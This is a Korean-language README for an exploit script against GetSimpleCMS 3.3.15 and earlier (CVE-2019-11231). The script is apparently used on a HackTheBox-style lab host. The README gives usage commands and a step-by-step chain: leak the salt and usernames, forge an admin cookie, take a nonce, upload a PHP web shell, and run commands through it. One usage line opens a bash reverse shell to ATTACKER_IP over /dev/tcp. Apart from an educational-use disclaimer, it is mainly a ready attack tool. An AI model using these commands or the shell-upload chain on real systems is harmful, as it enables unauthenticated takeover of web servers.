GetSimpleCMS CVE-2019-11231 RCE 익스플로잇

GetSimpleCMS ≤ 3.3.15용 인증 없는 원격 코드 실행 익스플로잇

취약점

GetSimpleCMS는 민감한 파일을 공개적으로 노출합니다 (/data/other/authorization.xml, /data/users/). 이를 통해 공격자는 다음을 수행할 수 있습니다:

1. API 키와 사용자 이름 유출
2. 인증 쿠키 위조
3. CSRF 토큰 획득
4. 임의의 PHP 코드 업로드 및 실행

CVSS 점수: 9.8 (치명적)

사용법

pip install -r requirements.txt
python3 exploit.py http://target.com "id"
python3 exploit.py gettingstarted.htb "whoami"
python3 /tmp/test.py gettingstarted.htb "/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"

작동 방식

1. 버전 열거 → GET /admin/
2. salt 유출 → GET /data/other/authorization.xml
3. 사용자 이름 획득 → GET /data/users/
4. 쿠키 위조 → SHA1(username + salt)
5. nonce 획득 → GET /admin/theme-edit.php
6. 셸 업로드 → POST /admin/theme-edit.php
7. 명령 실행 → GET /theme/shell.php?cmd=...

파일

• exploit.py - 주요 익스플로잇 스크립트
• requirements.txt - 의존성 (requests, beautifulsoup4)

면책 조항

⚠️ 교육 목적으로만 사용하세요. 소유하거나 테스트 권한이 있는 시스템에서만 테스트하십시오.

참고 자료

• https://ssd-disclosure.com/archives/3899/ssd-advisory-getcms-unauthenticated-remote-code-execution
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11231